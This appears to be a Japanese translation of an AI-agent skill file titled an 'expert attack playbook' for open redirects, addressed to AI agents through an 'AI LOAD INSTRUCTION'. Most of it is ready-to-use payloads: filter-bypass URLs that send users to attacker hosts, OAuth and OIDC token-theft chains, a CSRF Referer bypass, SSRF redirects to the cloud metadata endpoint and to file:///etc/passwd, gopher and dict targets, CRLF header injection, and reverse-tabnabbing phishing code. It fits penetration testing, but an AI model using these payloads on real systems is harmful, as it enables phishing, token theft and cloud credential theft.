open-redirect
URLパラメータ、フォームアクション、またはJavaScriptのシンクがナビゲーション先を制御しており、攻撃者が指定した外部URLへユーザーをリダイレクトさせる可能性がある場合に使用するオープンリダイレクト診断プレイブック。リダイレクト先の検証不備を特定し、フィッシングや不正誘導のリスクを評価します。
description の原文を見る
>- Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.
SKILL.md 本文
SKILL: Open Redirect — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: Open redirect 技法。パラメータベースのリダイレクト、JavaScript sink、フィルタバイパス、フィッシング、CSRF Referer バイパス、OAuth トークン盗難、SSRF との連鎖について扱います。過小評価されることが多いですが、フィッシングおよび多段階エクスプロイトチェーンの構成要素として重要です。
1. コアコンセプト
Open redirect は、アプリケーションがユーザー入力から導出された URL へユーザーをリダイレクトする際に検証を行わない場合に発生します。信頼できるドメインが「踏み台」として機能し、フィッシングやトークン盗難に利用されます。
https://trusted.com/redirect?url=https://evil.com
→ ユーザーがリンク内の trusted.com を確認 → クリック → evil.com にランディング
2. リダイレクトパラメータの発見
よくあるパラメータ名
?url= ?redirect= ?next= ?dest=
?destination= ?redir= ?return= ?returnUrl=
?go= ?forward= ?target= ?out=
?continue= ?link= ?view= ?to=
?ref= ?callback= ?path= ?rurl=
サーバーサイド Sink
HTTP 301/302 Location ヘッダ
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)
クライアントサイド (JavaScript) Sink
window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input
3. フィルタバイパス技法
| 検証内容 | バイパス方法 |
|---|---|
URL が / で始まるかチェック | //evil.com (プロトコル相対) |
ドメインが trusted.com を含むかチェック | evil.com?trusted.com または trusted.com.evil.com |
http:// をブロック | //evil.com, https://evil.com, \/\/evil.com |
URL が https://trusted.com で始まるかチェック | https://trusted.com@evil.com (ユーザー情報) |
Regex ^/[^/] (相対パスのみ) | /\evil.com (一部ブラウザでバックスラッシュはパスとして処理) |
Django の endswith('target.com') | http://evil.com/www.target.com — URL パスが対象ドメインで終わる |
| ホワイトリスト(ドメインサフィックス) | *.trusted.com のサブドメイン乗っ取り |
# プロトコル相対:
//evil.com
# ユーザー情報バイパス:
https://trusted.com@evil.com
# バックスラッシュトリック:
/\evil.com
/\/evil.com
# URL エンコーディング:
https://trusted.com/%2F%2Fevil.com
# Django endswith バイパス:
http://evil.com/www.target.com
http://evil.com?target.com
# 信頼できるサイトの二重リダイレクト (例: Baidu リンクサービス経由):
https://link.target.com/?url=http://evil.com
# 特殊文字の混同:
http://evil.com#@trusted.com # フラグメントを権限として
http://evil.com?trusted.com # クエリ文字列の混同
http://trusted.com%00@evil.com # ヌルバイトによるトランケーション
# URL 内のタブ/改行 (ブラウザは空白を無視):
java%09script:alert(1)
4. エクスプロイトチェーン
フィッシング増幅
攻撃者が送信: https://bigbank.com/redirect?url=https://bigbank-login.evil.com
被害者が見たもの: bigbank.com → クリック → クローンサイトで認証情報を入力
OAuth トークン盗難
OAuth の redirect_uri が認可済みドメイン上で open redirect を許可している場合:
/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ 認可コードまたはトークンが evil.com URL に追加
→ 攻撃者は URL フラグメントまたはクエリからトークンをキャプチャ
CSRF Referer バイパス
CSRF 保護の一部が Referer ヘッダが信頼できるドメインを含むかチェック:
1. 攻撃者ページが次にリンク: https://trusted.com/redirect?url=https://trusted.com/change-email
2. リダイレクトが信頼できるドメインからの Referer を保持
3. CSRF 保護が通過(Referer = trusted.com)
SSRF 経由のリダイレクト
サーバーがリダイレクトをフォローする場合:
?url=https://attacker.com/redirect-to-internal
# attacker.com が 302 を返す → http://169.254.169.254/
# サーバーがリダイレクトをフォロー → メタデータエンドポイントへの SSRF
5. テストチェックリスト
□ リダイレクトをトリガーするすべての URL パラメータを特定
□ 外部ドメインをテスト: ?url=https://evil.com
□ プロトコル相対をテスト: ?url=//evil.com
□ ユーザー情報バイパスをテスト: ?url=https://trusted.com@evil.com
□ バックスラッシュをテスト: ?url=/\evil.com
□ JavaScript sink をテスト: ?url=javascript:alert(1) (DOM ベース)
□ OAuth フローが redirect_uri open redirect に対応しているか確認
□ リダイレクトが認証トークンを URL に保持するか確認
6. タブナビング(リバースタブナビング)
概念
リンクが target="_blank" で新しいタブを開く場合 (rel="noopener" なし):
- 新しいページが
window.openerにアクセス可能 - 元のページをリダイレクト:
window.opener.location = "https://phishing.com/login" - ユーザーが「元の」タブに戻る → フェイクログインページを表示 → 認証情報を入力
検出
<!-- 脆弱: -->
<a href="https://external.com" target="_blank">ここをクリック</a>
<!-- 安全: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">ここをクリック</a>
エクスプロイト
// 攻撃者が管理するページ上 (target="_blank" 経由でオープン):
if (window.opener) {
window.opener.location = "https://phishing.com/fake-login.html";
}
探索箇所
- ユーザー生成コンテンツ(フォーラム、コメント、プロフィール)
- 外部ドメインへの
target="_blank"リンク - PDF ビューア、ドキュメントプレビューが新しいタブで開く場合
7. OPEN REDIRECT → OAUTH トークン盗難(詳細チェーン)
7.1 OAuth インプリシットフロー
インプリシットフロー では、アクセストークンが URL フラグメント (#access_token=...) で返されます。redirect_uri が認可済みドメイン上で open redirect を許可している場合:
/authorize?response_type=token
&client_id=CLIENT
&redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
&scope=read
フロー:
1. ユーザーが認証 → 認可サーバーが次にリダイレクト:
https://target.com/redirect?url=https://evil.com#access_token=SECRET
2. Open redirect が発動 → ブラウザが次にナビゲート:
https://evil.com#access_token=SECRET
3. 攻撃者ページが location.hash を読み込み → アクセストークンをキャプチャ
7.2 認可コードフロー
認可コードがクエリパラメータとして送信されます。リダイレクトチェーンがクエリパラメータを保持する場合:
/authorize?response_type=code
&client_id=CLIENT
&redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com
フロー:
1. 認可サーバーが redirect_uri プレフィックスを検証 → https://target.com/ と一致
2. 次にリダイレクト: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
3. Open redirect が被害者を次に送信: https://evil.com?code=AUTH_CODE
4. 攻撃者がコードをアクセストークンと交換
7.3 OIDC id_token フラグメントリーク
/authorize?response_type=id_token
&client_id=CLIENT
&redirect_uri=https://target.com/cb
&nonce=NONCE
redirect_uri が open redirect エンドポイントを指す場合:
→ id_token がフラグメントで攻撃者に送信
→ 攻撃者が署名付き ID アサーションを保有
→ この IdP を受け入れる任意の RP で被害者として認証可能
7.4 redirect_uri 検証バイパスパターン
redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://target.com/callback%23@evil.com
redirect_uri=https://target.com/callback/../../redirect
redirect_uri=https://target.com/callback#@evil.com
8. OPEN REDIRECT → SSRF チェーン
サーバーサイドリダイレクト追跡
サーバーサイドコンポーネントが HTTP リダイレクトをフォローする場合 (URL プレビュー、リンクアンフォーラー、webhook、画像フェッチャー):
1. URL をサーバーサイドフェッチャーに送信: http://attacker.com/redirect
2. attacker.com が応答: 302 Location: http://169.254.169.254/latest/meta-data/
3. サーバーがリダイレクトをフォロー → クラウドメタデータエンドポイントへの SSRF
4. レスポンス (IAM 認証情報) が攻撃者に返される、またはプレビューに表示
マルチホップリダイレクト(フィルタバイパス用)
1. サーバーが 169.254.169.254 への直接リクエストをブロック
2. 送信: http://attacker.com/r1
3. r1 → 302 → http://attacker.com/r2 (同一ドメイン、フィルタに通過)
4. r2 → 302 → http://169.254.169.254/ (内部、フィルタが再チェックされない)
DNS リバインディング亜種
1. attacker.com が攻撃者のパブリック IP に解決 (TTL=0)
2. サーバーが attacker.com を解決 → パブリック IP → SSRF フィルタに通過
3. 接続が確立されたが、HTTP リダイレクトが再び attacker.com を指す
4. 二番目の DNS 解決: attacker.com が 169.254.169.254 に解決
5. サーバーが内部アドレスへのリダイレクトをフォロー
スコープ昇格(リダイレクトプロトコル経由)
http://attacker.com/redirect → gopher://127.0.0.1:6379/... (Redis SSRF)
http://attacker.com/redirect → file:///etc/passwd (ローカルファイル読み取り)
http://attacker.com/redirect → dict://127.0.0.1:11211/ (Memcached)
すべての HTTP クライアントがクロスプロトコルリダイレクトをフォローするわけではありませんが、curl (デフォルト) と一部のライブラリはフォローします。
9. リダイレクトバイパスのための URL パーサー混同
リダイレクト検証関数が、最終的にそれを処理するブラウザまたはサーバーと異なる方法で URL を解析する場合:
プロトコル相対 URL
//attacker.com
→ ブラウザ: https://attacker.com (現在のページのプロトコルを継承)
→ 一部のバリデータ: 相対パス "/attacker.com" (誤り)
バックスラッシュ混同
\/\/attacker.com
/\/attacker.com
→ 多くのブラウザが URL 内の \ を / に正規化
→ \ をパス文字として扱うバリデータがこれを許可
ユーザー情報セクション乱用
//attacker.com\@target.com
→ ブラウザ: attacker.com にナビゲート (@ はユーザー情報区切り文字)
→ バリデータ: 文字列内に "target.com" を確認 → ホワイトリストチェックに通過
//target.com@attacker.com
→ ブラウザ: userinfo=target.com, host=attacker.com
→ バリデータ: "target.com で始まる" をチェック → 通過
https://target.com%2F@attacker.com
→ URL デコード: target.com/ がユーザー情報、host=attacker.com
二重エンコーディング
//attacker%252ecom
→ 最初のデコード: //attacker%2ecom (バリデータに通過)
→ 二番目のデコード (サーバー/ブラウザによる): //attacker.com (実際のリダイレクト)
CRLF インジェクション + リダイレクト
/%0d%0aLocation:%20https://attacker.com
→ サーバーがヘッダコンテキストでパスをリフレクトする場合:
HTTP/1.1 302 Found
Location: /
Location: https://attacker.com ← インジェクトされたヘッダが優先
フラグメント混同
https://target.com#@attacker.com
→ ブラウザ: host=target.com, fragment=@attacker.com
→ ただし一部の JS ベースのリダイレクト: window.location = url → 異なる処理
https://attacker.com#.target.com
→ バリデータ: 文字列内に "target.com" を確認 → 通過
→ ブラウザ: attacker.com にナビゲート (フラグメントはナビゲーション時に無視)
特殊文字
https://attacker.com%E3%80%82target.com
→ Unicode 表意数字ピリオド (U+3002) — 一部のパーサーがドットとして処理
→ ブラウザがバリデータと異なる方法で正規化
https://attacker。com (U+3002 全幅ピリオド)
https://attacker.com (U+FF0E 全幅フルストップ)
統合 URL パーサー差分テーブル
| ペイロード | バリデータが認識 | ブラウザがナビゲート |
|---|---|---|
//evil.com | 相対パス | https://evil.com |
\/\/evil.com | パス \/\/evil.com | https://evil.com |
//evil.com\@target.com | target.com を含む | https://evil.com |
//target.com@evil.com | target.com で始まる | https://evil.com |
/%0d%0aLocation: https://evil.com | パス文字列 | ヘッダインジェクション → リダイレクト |
//evil%252ecom | evil%2ecom (ドメイン以外) | evil.com (二重デコード後) |
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。